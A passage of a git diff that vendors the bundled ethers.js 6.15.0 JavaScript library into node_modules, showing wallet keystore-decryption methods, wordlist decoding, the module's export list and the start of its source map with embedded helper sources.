if (wallet.address === account.address && wallet.privateKey === account.privateKey) { + return wallet; + } + console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key"); + } + const wallet = new Wallet(account.privateKey); + assertArgument(wallet.address === account.address, "address/privateKey mismatch", "json", "[ REDACTED ]"); + return wallet; + } + /** + * Creates (asynchronously) a **Wallet** by decrypting the %%json%% + * with %%password%%. + * + * If %%progress%% is provided, it is called periodically during + * decryption so that any UI can be updated. + */ + static async fromEncryptedJson(json, password, progress) { + let account = null; + if (isKeystoreJson(json)) { + account = await decryptKeystoreJson(json, password, progress); + } + else if (isCrowdsaleJson(json)) { + if (progress) { + progress(0); + await stall(0); + } + account = decryptCrowdsaleJson(json, password); + if (progress) { + progress(1); + await stall(0); + } + } + return Wallet.#fromAccount(account); + } + /** + * Creates a **Wallet** by decrypting the %%json%% with %%password%%. + * + * The [[fromEncryptedJson]] method is preferred, as this method + * will lock up and freeze the UI during decryption, which may take + * some time. + */ + static fromEncryptedJsonSync(json, password) { + let account = null; + if (isKeystoreJson(json)) { + account = decryptKeystoreJsonSync(json, password); + } + else if (isCrowdsaleJson(json)) { + account = decryptCrowdsaleJson(json, password); + } + else { + assertArgument(false, "invalid JSON wallet", "json", "[ REDACTED ]"); + } + return Wallet.#fromAccount(account); + } + /** + * Creates a new random [[HDNodeWallet]] using the available + * [cryptographic random source](randomBytes). + * + * If there is no crytographic random source, this will throw. + */ + static createRandom(provider) { + const wallet = HDNodeWallet.createRandom(); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } + /** + * Creates a [[HDNodeWallet]] for %%phrase%%. + */ + static fromPhrase(phrase, provider) { + const wallet = HDNodeWallet.fromPhrase(phrase); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } +} + +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; +/** + * @_ignore + */ +function decodeBits(width, data) { + const maxValue = (1 << width) - 1; + const result = []; + let accum = 0, bits = 0, flood = 0; + for (let i = 0; i < data.length; i++) { + // Accumulate 6 bits of data + accum = ((accum << 6) | Base64.indexOf(data[i])); + bits += 6; + // While we have enough for a word... + while (bits >= width) { + // ...read the word + const value = (accum >> (bits - width)); + accum &= (1 << (bits - width)) - 1; + bits -= width; + // A value of 0 indicates we exceeded maxValue, it + // floods over into the next value + if (value === 0) { + flood += maxValue; + } + else { + result.push(value + flood); + flood = 0; + } + } + } + return result; +} + +/** + * @_ignore + */ +function decodeOwlA(data, accents) { + let words = decodeOwl(data).join(","); + // Inject the accents + accents.split(/,/g).forEach((accent) => { + const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/); + assertArgument(match !== null, "internal error parsing accents", "accents", accents); + let posOffset = 0; + const positions = decodeBits(parseInt(match[3]), match[4]); + const charCode = parseInt(match[2]); + const regex = new RegExp(`([${match[1]}])`, "g"); + words = words.replace(regex, (all, letter) => { + const rem = --positions[posOffset]; + if (rem === 0) { + letter = String.fromCharCode(letter.charCodeAt(0), charCode); + posOffset++; + } + return letter; + }); + }); + return words.split(","); +} + +/** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +class WordlistOwlA extends WordlistOwl { + #accent; + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale, data, accent, checksum) { + super(locale, data, checksum); + this.#accent = accent; + } + /** + * The OWLA-encoded accent data. + */ + get _accent() { return this.#accent; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwlA(this._data, this._accent); + } +} + +const wordlists = { + en: LangEn.wordlist(), +}; + +///////////////////////////// +// +// dummy change; to pick-up ws security issue changes + +var ethers = /*#__PURE__*/Object.freeze({ + __proto__: null, + AbiCoder: AbiCoder, + AbstractProvider: AbstractProvider, + AbstractSigner: AbstractSigner, + AlchemyProvider: AlchemyProvider, + AnkrProvider: AnkrProvider, + BaseContract: BaseContract, + BaseWallet: BaseWallet, + Block: Block, + BlockscoutProvider: BlockscoutProvider, + BrowserProvider: BrowserProvider, + ChainstackProvider: ChainstackProvider, + CloudflareProvider: CloudflareProvider, + ConstructorFragment: ConstructorFragment, + Contract: Contract, + ContractEventPayload: ContractEventPayload, + ContractFactory: ContractFactory, + ContractTransactionReceipt: ContractTransactionReceipt, + ContractTransactionResponse: ContractTransactionResponse, + ContractUnknownEventPayload: ContractUnknownEventPayload, + EnsPlugin: EnsPlugin, + EnsResolver: EnsResolver, + ErrorDescription: ErrorDescription, + ErrorFragment: ErrorFragment, + EtherSymbol: EtherSymbol, + EtherscanPlugin: EtherscanPlugin, + EtherscanProvider: EtherscanProvider, + EventFragment: EventFragment, + EventLog: EventLog, + EventPayload: EventPayload, + FallbackFragment: FallbackFragment, + FallbackProvider: FallbackProvider, + FeeData: FeeData, + FeeDataNetworkPlugin: FeeDataNetworkPlugin, + FetchCancelSignal: FetchCancelSignal, + FetchRequest: FetchRequest, + FetchResponse: FetchResponse, + FetchUrlFeeDataNetworkPlugin: FetchUrlFeeDataNetworkPlugin, + FixedNumber: FixedNumber, + Fragment: Fragment, + FunctionFragment: FunctionFragment, + GasCostPlugin: GasCostPlugin, + HDNodeVoidWallet: HDNodeVoidWallet, + HDNodeWallet: HDNodeWallet, + Indexed: Indexed, + InfuraProvider: InfuraProvider, + InfuraWebSocketProvider: InfuraWebSocketProvider, + Interface: Interface, + IpcSocketProvider: IpcSocketProvider, + JsonRpcApiProvider: JsonRpcApiProvider, + JsonRpcProvider: JsonRpcProvider, + JsonRpcSigner: JsonRpcSigner, + LangEn: LangEn, + Log: Log, + LogDescription: LogDescription, + MaxInt256: MaxInt256, + MaxUint256: MaxUint256, + MessagePrefix: MessagePrefix, + MinInt256: MinInt256, + Mnemonic: Mnemonic, + MulticoinProviderPlugin: MulticoinProviderPlugin, + N: N$1, + NamedFragment: NamedFragment, + Network: Network, + NetworkPlugin: NetworkPlugin, + NonceManager: NonceManager, + ParamType: ParamType, + PocketProvider: PocketProvider, + QuickNodeProvider: QuickNodeProvider, + Result: Result, + Signature: Signature, + SigningKey: SigningKey, + SocketBlockSubscriber: SocketBlockSubscriber, + SocketEventSubscriber: SocketEventSubscriber, + SocketPendingSubscriber: SocketPendingSubscriber, + SocketProvider: SocketProvider, + SocketSubscriber: SocketSubscriber, + StructFragment: StructFragment, + Transaction: Transaction, + TransactionDescription: TransactionDescription, + TransactionReceipt: TransactionReceipt, + TransactionResponse: TransactionResponse, + Typed: Typed, + TypedDataEncoder: TypedDataEncoder, + UndecodedEventLog: UndecodedEventLog, + UnmanagedSubscriber: UnmanagedSubscriber, + Utf8ErrorFuncs: Utf8ErrorFuncs, + VoidSigner: VoidSigner, + Wallet: Wallet, + WebSocketProvider: WebSocketProvider, + WeiPerEther: WeiPerEther, + Wordlist: Wordlist, + WordlistOwl: WordlistOwl, + WordlistOwlA: WordlistOwlA, + ZeroAddress: ZeroAddress, + ZeroHash: ZeroHash, + accessListify: accessListify, + assert: assert, + assertArgument: assertArgument, + assertArgumentCount: assertArgumentCount, + assertNormalize: assertNormalize, + assertPrivate: assertPrivate, + authorizationify: authorizationify, + checkResultErrors: checkResultErrors, + computeAddress: computeAddress, + computeHmac: computeHmac, + concat: concat, + copyRequest: copyRequest, + dataLength: dataLength, + dataSlice: dataSlice, + decodeBase58: decodeBase58, + decodeBase64: decodeBase64, + decodeBytes32String: decodeBytes32String, + decodeRlp: decodeRlp, + decryptCrowdsaleJson: decryptCrowdsaleJson, + decryptKeystoreJson: decryptKeystoreJson, + decryptKeystoreJsonSync: decryptKeystoreJsonSync, + defaultPath: defaultPath, + defineProperties: defineProperties, + dnsEncode: dnsEncode, + encodeBase58: encodeBase58, + encodeBase64: encodeBase64, + encodeBytes32String: encodeBytes32String, + encodeRlp: encodeRlp, + encryptKeystoreJson: encryptKeystoreJson, + encryptKeystoreJsonSync: encryptKeystoreJsonSync, + ensNormalize: ensNormalize, + formatEther: formatEther, + formatUnits: formatUnits, + fromTwos: fromTwos, + getAccountPath: getAccountPath, + getAddress: getAddress, + getBigInt: getBigInt, + getBytes: getBytes, + getBytesCopy: getBytesCopy, + getCreate2Address: getCreate2Address, + getCreateAddress: getCreateAddress, + getDefaultProvider: getDefaultProvider, + getIcapAddress: getIcapAddress, + getIndexedAccountPath: getIndexedAccountPath, + getNumber: getNumber, + getUint: getUint, + hashAuthorization: hashAuthorization, + hashMessage: hashMessage, + hexlify: hexlify, + id: id, + isAddress: isAddress, + isAddressable: isAddressable, + isBytesLike: isBytesLike, + isCallException: isCallException, + isCrowdsaleJson: isCrowdsaleJson, + isError: isError, + isHexString: isHexString, + isKeystoreJson: isKeystoreJson, + isValidName: isValidName, + keccak256: keccak256, + lock: lock, + makeError: makeError, + mask: mask, + namehash: namehash, + parseEther: parseEther, + parseUnits: parseUnits$1, + pbkdf2: pbkdf2, + randomBytes: randomBytes, + recoverAddress: recoverAddress, + resolveAddress: resolveAddress, + resolveProperties: resolveProperties, + ripemd160: ripemd160, + scrypt: scrypt, + scryptSync: scryptSync, + sha256: sha256, + sha512: sha512, + showThrottleMessage: showThrottleMessage, + solidityPacked: solidityPacked, + solidityPackedKeccak256: solidityPackedKeccak256, + solidityPackedSha256: solidityPackedSha256, + stripZerosLeft: stripZerosLeft, + toBeArray: toBeArray, + toBeHex: toBeHex, + toBigInt: toBigInt, + toNumber: toNumber, + toQuantity: toQuantity, + toTwos: toTwos, + toUtf8Bytes: toUtf8Bytes, + toUtf8CodePoints: toUtf8CodePoints, + toUtf8String: toUtf8String, + uuidV4: uuidV4, + verifyAuthorization: verifyAuthorization, + verifyMessage: verifyMessage, + verifyTypedData: verifyTypedData, + version: version, + wordlists: wordlists, + zeroPadBytes: zeroPadBytes, + zeroPadValue: zeroPadValue +}); + +export { AbiCoder, AbstractProvider, AbstractSigner, AlchemyProvider, AnkrProvider, BaseContract, BaseWallet, Block, BlockscoutProvider, BrowserProvider, ChainstackProvider, CloudflareProvider, ConstructorFragment, Contract, ContractEventPayload, ContractFactory, ContractTransactionReceipt, ContractTransactionResponse, ContractUnknownEventPayload, EnsPlugin, EnsResolver, ErrorDescription, ErrorFragment, EtherSymbol, EtherscanPlugin, EtherscanProvider, EventFragment, EventLog, EventPayload, FallbackFragment, FallbackProvider, FeeData, FeeDataNetworkPlugin, FetchCancelSignal, FetchRequest, FetchResponse, FetchUrlFeeDataNetworkPlugin, FixedNumber, Fragment, FunctionFragment, GasCostPlugin, HDNodeVoidWallet, HDNodeWallet, Indexed, InfuraProvider, InfuraWebSocketProvider, Interface, IpcSocketProvider, JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner, LangEn, Log, LogDescription, MaxInt256, MaxUint256, MessagePrefix, MinInt256, Mnemonic, MulticoinProviderPlugin, N$1 as N, NamedFragment, Network, NetworkPlugin, NonceManager, ParamType, PocketProvider, QuickNodeProvider, Result, Signature, SigningKey, SocketBlockSubscriber, SocketEventSubscriber, SocketPendingSubscriber, SocketProvider, SocketSubscriber, StructFragment, Transaction, TransactionDescription, TransactionReceipt, TransactionResponse, Typed, TypedDataEncoder, UndecodedEventLog, UnmanagedSubscriber, Utf8ErrorFuncs, VoidSigner, Wallet, WebSocketProvider, WeiPerEther, Wordlist, WordlistOwl, WordlistOwlA, ZeroAddress, ZeroHash, accessListify, assert, assertArgument, assertArgumentCount, assertNormalize, assertPrivate, authorizationify, checkResultErrors, computeAddress, computeHmac, concat, copyRequest, dataLength, dataSlice, decodeBase58, decodeBase64, decodeBytes32String, decodeRlp, decryptCrowdsaleJson, decryptKeystoreJson, decryptKeystoreJsonSync, defaultPath, defineProperties, dnsEncode, encodeBase58, encodeBase64, encodeBytes32String, encodeRlp, encryptKeystoreJson, encryptKeystoreJsonSync, ensNormalize, ethers, formatEther, formatUnits, fromTwos, getAccountPath, getAddress, getBigInt, getBytes, getBytesCopy, getCreate2Address, getCreateAddress, getDefaultProvider, getIcapAddress, getIndexedAccountPath, getNumber, getUint, hashAuthorization, hashMessage, hexlify, id, isAddress, isAddressable, isBytesLike, isCallException, isCrowdsaleJson, isError, isHexString, isKeystoreJson, isValidName, keccak256, lock, makeError, mask, namehash, parseEther, parseUnits$1 as parseUnits, pbkdf2, randomBytes, recoverAddress, resolveAddress, resolveProperties, ripemd160, scrypt, scryptSync, sha256, sha512, showThrottleMessage, solidityPacked, solidityPackedKeccak256, solidityPackedSha256, stripZerosLeft, toBeArray, toBeHex, toBigInt, toNumber, toQuantity, toTwos, toUtf8Bytes, toUtf8CodePoints, toUtf8String, uuidV4, verifyAuthorization, verifyMessage, verifyTypedData, version, wordlists, zeroPadBytes, zeroPadValue }; +//# sourceMappingURL=ethers.js.map diff --git a/node_modules/ethers/dist/ethers.js.map b/node_modules/ethers/dist/ethers.js.map new file mode 100644 index 000000000000..5a81ddcde165 --- /dev/null +++ b/node_modules/ethers/dist/ethers.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ethers.js","sources":["../lib.esm/_version.js","../lib.esm/utils/properties.js","../lib.esm/utils/errors.js","../lib.esm/utils/data.js","../lib.esm/utils/maths.js","../lib.esm/utils/base58.js","../lib.esm/utils/base64-browser.js","../lib.esm/utils/events.js","../lib.esm/utils/utf8.js","../lib.esm/utils/geturl-browser.js","../lib.esm/utils/fetch.js","../lib.esm/utils/fixednumber.js","../lib.esm/utils/rlp-decode.js","../lib.esm/utils/rlp-encode.js","../lib.esm/utils/units.js","../lib.esm/utils/uuid.js","../lib.esm/abi/coders/abstract-coder.js","../node_modules/@noble/hashes/esm/_assert.js","../node_modules/@noble/hashes/esm/crypto.js","../node_modules/@noble/hashes/esm/utils.js","../node_modules/@noble/hashes/esm/hmac.js","../node_modules/@noble/hashes/esm/pbkdf2.js","../node_modules/@noble/hashes/esm/_sha2.js","../node_modules/@noble/hashes/esm/sha256.js","../node_modules/@noble/hashes/esm/_u64.js","../node_modules/@noble/hashes/esm/sha512.js","../lib.esm/crypto/crypto-browser.js","../lib.esm/crypto/hmac.js","../node_modules/@noble/hashes/esm/sha3.js","../lib.esm/crypto/keccak.js","../node_modules/@noble/hashes/esm/ripemd160.js","../lib.esm/crypto/ripemd160.js","../lib.esm/crypto/pbkdf2.js","../lib.esm/crypto/random.js","../node_modules/@noble/hashes/esm/scrypt.js","../lib.esm/crypto/scrypt.js","../lib.esm/crypto/sha2.js","../node_modules/@noble/curves/esm/abstract/utils.js","../node_modules/@noble/curves/esm/abstract/modular.js","../node_modules/@noble/curves/esm/abstract/curve.js","../node_modules/@noble/curves/esm/abstract/weierstrass.js","../node_modules/@noble/curves/esm/_shortw_utils.js","../node_modules/@noble/curves/esm/secp256k1.js","../lib.esm/constants/addresses.js","../lib.esm/constants/hashes.js","../lib.esm/constants/numbers.js","../lib.esm/constants/strings.js","../lib.esm/crypto/signature.js","../lib.esm/crypto/signing-key.js","../lib.esm/crypto/index.js","../lib.esm/address/address.js","../lib.esm/address/contract-address.js","../lib.esm/address/checks.js","../lib.esm/abi/typed.js","../lib.esm/abi/coders/address.js","../lib.esm/abi/coders/anonymous.js","../lib.esm/abi/coders/array.js","../lib.esm/abi/coders/boolean.js","../lib.esm/abi/coders/bytes.js","../lib.esm/abi/coders/fixed-bytes.js","../lib.esm/abi/coders/null.js","../lib.esm/abi/coders/number.js","../lib.esm/abi/coders/string.js","../lib.esm/abi/coders/tuple.js","../lib.esm/transaction/accesslist.js","../lib.esm/transaction/authorization.js","../lib.esm/transaction/address.js","../lib.esm/transaction/transaction.js","../lib.esm/hash/authorization.js","../lib.esm/hash/id.js","../node_modules/@adraffy/ens-normalize/dist/index.mjs","../lib.esm/hash/namehash.js","../lib.esm/hash/message.js","../lib.esm/hash/solidity.js","../lib.esm/hash/typed-data.js","../lib.esm/abi/fragments.js","../lib.esm/abi/abi-coder.js","../lib.esm/abi/bytes32.js","../lib.esm/abi/interface.js","../lib.esm/providers/provider.js","../lib.esm/contract/wrappers.js","../lib.esm/contract/contract.js","../lib.esm/contract/factory.js","../lib.esm/providers/ens-resolver.js","../lib.esm/providers/format.js","../lib.esm/providers/plugins-network.js","../lib.esm/providers/network.js","../lib.esm/providers/subscriber-polling.js","../lib.esm/providers/abstract-provider.js","../lib.esm/providers/abstract-signer.js","../lib.esm/providers/community.js","../lib.esm/providers/subscriber-filterid.js","../lib.esm/providers/provider-jsonrpc.js","../lib.esm/providers/provider-ankr.js","../lib.esm/providers/provider-alchemy.js","../lib.esm/providers/provider-chainstack.js","../lib.esm/providers/provider-cloudflare.js","../lib.esm/providers/provider-etherscan.js","../lib.esm/providers/ws-browser.js","../lib.esm/providers/provider-socket.js","../lib.esm/providers/provider-websocket.js","../lib.esm/providers/provider-infura.js","../lib.esm/providers/provider-quicknode.js","../lib.esm/providers/provider-fallback.js","../lib.esm/providers/default-provider.js","../lib.esm/providers/signer-noncemanager.js","../lib.esm/providers/provider-browser.js","../lib.esm/providers/provider-blockscout.js","../lib.esm/providers/provider-pocket.js","../lib.esm/providers/provider-ipcsocket-browser.js","../lib.esm/wallet/base-wallet.js","../lib.esm/wordlists/decode-owl.js","../lib.esm/wordlists/wordlist.js","../lib.esm/wordlists/wordlist-owl.js","../lib.esm/wordlists/lang-en.js","../lib.esm/wallet/mnemonic.js","../node_modules/aes-js/lib.esm/aes.js","../node_modules/aes-js/lib.esm/mode.js","../node_modules/aes-js/lib.esm/mode-cbc.js","../node_modules/aes-js/lib.esm/mode-ctr.js","../node_modules/aes-js/lib.esm/padding.js","../lib.esm/wallet/utils.js","../lib.esm/wallet/json-keystore.js","../lib.esm/wallet/hdwallet.js","../lib.esm/wallet/json-crowdsale.js","../lib.esm/wallet/wallet.js","../lib.esm/wordlists/bit-reader.js","../lib.esm/wordlists/decode-owla.js","../lib.esm/wordlists/wordlist-owla.js","../lib.esm/wordlists/wordlists-browser.js","../lib.esm/ethers.js"],"sourcesContent":["/* Do NOT modify this file; see /src.ts/_admin/update-version.ts */\n/**\n * The current version of Ethers.\n */\nexport const version = \"6.15.0\";\n//# sourceMappingURL=_version.js.map","/**\n * Property helper functions.\n *\n * @_subsection api/utils:Properties [about-properties]\n */\nfunction checkType(value, type, name) {\n const types = type.split(\"|\").map(t => t.trim());\n for (let i = 0; i < types.length; i++) {\n switch (type) {\n case \"any\":\n return;\n case \"bigint\":\n case \"boolean\":\n case \"number\":\n case \"string\":\n if (typeof (value) === type) {\n return;\n }\n }\n }\n const error = new Error(`invalid value for type ${type}`);\n error.code = \"INVALID_ARGUMENT\";\n error.argument = `value.${name}`;\n error.value = value;\n throw error;\n}\n/**\n * Resolves to a new object that is a copy of %%value%%, but with all\n * values resolved.\n */\nexport async function resolveProperties(value) {\n const keys = Object.keys(value);\n const results = await Promise.all(keys.map((k) => Promise.resolve(value[k])));\n return results.reduce((accum, v, index) => {\n accum[keys[index]] = v;\n return accum;\n }, {});\n}\n/**\n * Assigns the %%values%% to %%target%% as read-only values.\n *\n * It %%types%% is specified, the values are checked.\n */\nexport function defineProperties(target, values, types) {\n for (let key in values) {\n let value = values[key];\n const type = (types ? types[key] : null);\n if (type) {\n checkType(value, type, key);\n }\n Object.defineProperty(target, key, { enumerable: true, value, writable: false });\n }\n}\n//# sourceMappingURL=properties.js.map","/**\n * All errors in ethers include properties to ensure they are both\n * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``).\n *\n * The [[isError]] function can be used to check the error ``code`` and\n * provide a type guard for the properties present on that error interface.\n *\n * @_section: api/utils/errors:Errors [about-errors]\n */\nimport { version } from \"../_version.js\";\nimport { defineProperties } from \"./properties.js\";\nfunction stringify(value, seen) {\n if (value == null) {\n return \"null\";\n }\n if (seen == null) {\n seen = new Set();\n }\n if (typeof (value) === \"object\") {\n if (seen.has(value)) {\n return \"[Circular]\";\n }\n seen.add(value);\n }\n if (Array.isArray(value)) {\n return \"[ \" + (value.map((v) => stringify(v, seen))).join(\", \") + \" ]\";\n }\n if (value instanceof Uint8Array) {\n const HEX = \"0123456789abcdef\";\n let result = \"0x\";\n for (let i = 0; i < value.length; i++) {\n result += HEX[value[i] >> 4];\n result += HEX[value[i] & 0xf];\n }\n return result;\n }\n if (typeof (value) === \"object\" && typeof (value.toJSON) === \"function\") {\n return stringify(value.toJSON(), seen);\n }\n switch (typeof (value)) {\n case \"boolean\":\n case \"number\":\n case \"symbol\":\n return value.toString();\n case \"bigint\":\n return BigInt(value).toString();\n case \"string\":\n return JSON.stringify(value);\n case \"object\": {\n const keys = Object.keys(value);\n keys.sort();\n return \"{ \" + keys.map((k) => `${stringify(k, seen)}: ${stringify(value[k], seen)}`).join(\", \") + \" }\";\n }\n }\n return `[ COULD NOT SERIALIZE ]`;\n}\n/**\n * Returns true if the %%error%% matches an error thrown by ethers\n * that matches the error %%code%%.\n *\n * In TypeScript environments, this can be used to check that %%error%%\n * matches an EthersError type, which means the expected properties will\n * be set.\n *\n * @See [ErrorCodes](api:ErrorCode)\n * @example\n * try {\n * // code....\n * } catch (e) {\n * if (isError(e, \"CALL_EXCEPTION\")) {\n * // The Type Guard has validated this object\n * console.log(e.data);\n * }\n * }\n */\nexport function isError(error, code) {\n return (error && error.code === code);\n}\n/**\n * Returns true if %%error%% is a [[CallExceptionError].\n */\nexport function isCallException(error) {\n return isError(error, \"CALL_EXCEPTION\");\n}\n/**\n * Returns a new Error configured to the format ethers emits errors, with\n * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties\n * for the corresponding EthersError.\n *\n * Each error in ethers includes the version of ethers, a\n * machine-readable [[ErrorCode]], and depending on %%code%%, additional\n * required properties. The error message will also include the %%message%%,\n * ethers version, %%code%% and all additional properties, serialized.\n */\nexport function makeError(message, code, info) {\n let shortMessage = message;\n {\n const details = [];\n if (info) {\n if (\"message\" in info || \"code\" in info || \"name\" in info) {\n throw new Error(`value will overwrite populated values: ${stringify(info)}`);\n }\n for (const key in info) {\n if (key === \"shortMessage\") {\n continue;\n }\n const value = (info[key]);\n // try {\n details.push(key + \"=\" + stringify(value));\n // } catch (error: any) {\n // console.log(\"MMM\", error.message);\n // details.push(key + \"=[could not serialize object]\");\n // }\n }\n }\n details.push(`code=${code}`);\n details.push(`version=${version}`);\n if (details.length) {\n message += \" (\" + details.join(\", \") + \")\";\n }\n }\n let error;\n switch (code) {\n case \"INVALID_ARGUMENT\":\n error = new TypeError(message);\n break;\n case \"NUMERIC_FAULT\":\n case \"BUFFER_OVERRUN\":\n error = new RangeError(message);\n break;\n default:\n error = new Error(message);\n }\n defineProperties(error, { code });\n if (info) {\n Object.assign(error, info);\n }\n if (error.shortMessage == null) {\n defineProperties(error, { shortMessage });\n }\n return error;\n}\n/**\n * Throws an EthersError with %%message%%, %%code%% and additional error\n * %%info%% when %%check%% is falsish..\n *\n * @see [[api:makeError]]\n */\nexport function assert(check, message, code, info) {\n if (!check) {\n throw makeError(message, code, info);\n }\n}\n/**\n * A simple helper to simply ensuring provided arguments match expected\n * constraints, throwing if not.\n *\n * In TypeScript environments, the %%check%% has been asserted true, so\n * any further code does not need additional compile-time checks.\n */\nexport function assertArgument(check, message, name, value) {\n assert(check, message, \"INVALID_ARGUMENT\", { argument: name, value: value });\n}\nexport function assertArgumentCount(count, expectedCount, message) {\n if (message == null) {\n message = \"\";\n }\n if (message) {\n message = \": \" + message;\n }\n assert(count >= expectedCount, \"missing argument\" + message, \"MISSING_ARGUMENT\", {\n count: count,\n expectedCount: expectedCount\n });\n assert(count <= expectedCount, \"too many arguments\" + message, \"UNEXPECTED_ARGUMENT\", {\n count: count,\n expectedCount: expectedCount\n });\n}\nconst _normalizeForms = [\"NFD\", \"NFC\", \"NFKD\", \"NFKC\"].reduce((accum, form) => {\n try {\n // General test for normalize\n /* c8 ignore start */\n if (\"test\".normalize(form) !== \"test\") {\n throw new Error(\"bad\");\n }\n ;\n /* c8 ignore stop */\n if (form === \"NFD\") {\n const check = String.fromCharCode(0xe9).normalize(\"NFD\");\n const expected = String.fromCharCode(0x65, 0x0301);\n /* c8 ignore start */\n if (check !== expected) {\n throw new Error(\"broken\");\n }\n /* c8 ignore stop */\n }\n accum.push(form);\n }\n catch (error) { }\n return accum;\n}, []);\n/**\n * Throws if the normalization %%form%% is not supported.\n */\nexport function assertNormalize(form) {\n assert(_normalizeForms.indexOf(form) >= 0, \"platform missing String.prototype.normalize\", \"UNSUPPORTED_OPERATION\", {\n operation: \"String.prototype.normalize\", info: { form }\n });\n}\n/**\n * Many classes use file-scoped values to guard the constructor,\n * making it effectively private. This facilitates that pattern\n * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%,\n * throwing if not, indicating the %%className%% if provided.\n */\nexport function assertPrivate(givenGuard, guard, className) {\n if (className == null) {\n className = \"\";\n }\n if (givenGuard !== guard) {\n let method = className, operation = \"new\";\n if (className) {\n method += \".\";\n operation += \" \" + className;\n }\n assert(false, `private constructor; use ${method}from* methods`, \"UNSUPPORTED_OPERATION\", {\n operation\n });\n }\n}\n//# sourceMappingURL=errors.js.map","/**\n * Some data helpers.\n *\n *\n * @_subsection api/utils:Data Helpers [about-data]\n */\nimport { assert, assertArgument } from \"./errors.js\";\nfunction _getBytes(value, name, copy) {\n if (value instanceof Uint8Array) {\n if (copy) {\n return new Uint8Array(value);\n }\n return value;\n }\n if (typeof (value) === \"string\" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) {\n const result = new Uint8Array((value.length - 2) / 2);\n let offset = 2;\n for (let i = 0; i < result.length; i++) {\n result[i] = parseInt(value.substring(offset, offset + 2), 16);\n offset += 2;\n }\n return result;\n }\n assertArgument(false, \"invalid BytesLike value\", name || \"value\", value);\n}\n/**\n * Get a typed Uint8Array for %%value%%. If already a Uint8Array\n * the original %%value%% is returned; if a copy is required use\n * [[getBytesCopy]].\n *\n * @see: getBytesCopy\n */\nexport function getBytes(value, name) {\n return _getBytes(value, name, false);\n}\n/**\n * Get a typed Uint8Array for %%value%%, creating a copy if necessary\n * to prevent any modifications of the returned value from being\n * reflected elsewhere.\n *\n * @see: getBytes\n */\nexport function getBytesCopy(value, name) {\n return _getBytes(value, name, true);\n}\n/**\n * Returns true if %%value%% is a valid [[HexString]].\n *\n * If %%length%% is ``true`` or a //number//, it also checks that\n * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//)\n * bytes of data (e.g. ``0x1234`` is 2 bytes).\n */\nexport function isHexString(value, length) {\n if (typeof (value) !== \"string\" || !value.match(/^0x[0-9A-Fa-f]*$/)) {\n return false;\n }\n if (typeof (length) === \"number\" && value.length !== 2 + 2 * length) {\n return false;\n }\n if (length === true && (value.length % 2) !== 0) {\n return false;\n }\n return true;\n}\n/**\n * Returns true if %%value%% is a valid representation of arbitrary\n * data (i.e. a valid [[DataHexString]] or a Uint8Array).\n */\nexport function isBytesLike(value) {\n return (isHexString(value, true) || (value instanceof Uint8Array));\n}\nconst HexCharacters = \"0123456789abcdef\";\n/**\n * Returns a [[DataHexString]] representation of %%data%%.\n */\nexport function hexlify(data) {\n const bytes = getBytes(data);\n let result = \"0x\";\n for (let i = 0; i < bytes.length; i++) {\n const v = bytes[i];\n result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f];\n }\n return result;\n}\n/**\n * Returns a [[DataHexString]] by concatenating all values\n * within %%data%%.\n */\nexport function concat(datas) {\n return \"0x\" + datas.map((d) => hexlify(d).substring(2)).join(\"\");\n}\n/**\n * Returns the length of %%data%%, in bytes.\n */\nexport function dataLength(data) {\n if (isHexString(data, true)) {\n return (data.length - 2) / 2;\n }\n return getBytes(data).length;\n}\n/**\n * Returns a [[DataHexString]] by slicing %%data%% from the %%start%%\n * offset to the %%end%% offset.\n *\n * By default %%start%% is 0 and %%end%% is the length of %%data%%.\n */\nexport function dataSlice(data, start, end) {\n const bytes = getBytes(data);\n if (end != null && end > bytes.length) {\n assert(false, \"cannot slice beyond data bounds\", \"BUFFER_OVERRUN\", {\n buffer: bytes, length: bytes.length, offset: end\n });\n }\n return hexlify(bytes.slice((start == null) ? 0 : start, (end == null) ? bytes.length : end));\n}\n/**\n * Return the [[DataHexString]] result by stripping all **leading**\n ** zero bytes from %%data%%.\n */\nexport function stripZerosLeft(data) {\n let bytes = hexlify(data).substring(2);\n while (bytes.startsWith(\"00\")) {\n bytes = bytes.substring(2);\n }\n return \"0x\" + bytes;\n}\nfunction zeroPad(data, length, left) {\n const bytes = getBytes(data);\n assert(length >= bytes.length, \"padding exceeds data length\", \"BUFFER_OVERRUN\", {\n buffer: new Uint8Array(bytes),\n length: length,\n offset: length + 1\n });\n const result = new Uint8Array(length);\n result.fill(0);\n if (left) {\n result.set(bytes, length - bytes.length);\n }\n else {\n result.set(bytes, 0);\n }\n return hexlify(result);\n}\n/**\n * Return the [[DataHexString]] of %%data%% padded on the **left**\n * to %%length%% bytes.\n *\n * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is\n * thrown.\n *\n * This pads data the same as **values** are in Solidity\n * (e.g. ``uint128``).\n */\nexport function zeroPadValue(data, length) {\n return zeroPad(data, length, true);\n}\n/**\n * Return the [[DataHexString]] of %%data%% padded on the **right**\n * to %%length%% bytes.\n *\n * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is\n * thrown.\n *\n * This pads data the same as **bytes** are in Solidity\n * (e.g. ``bytes16``).\n */\nexport function zeroPadBytes(data, length) {\n return zeroPad(data, length, false);\n}\n//# sourceMappingURL=data.js.map","/**\n * Some mathematic operations.\n *\n * @_subsection: api/utils:Math Helpers [about-maths]\n */\nimport { hexlify, isBytesLike } from 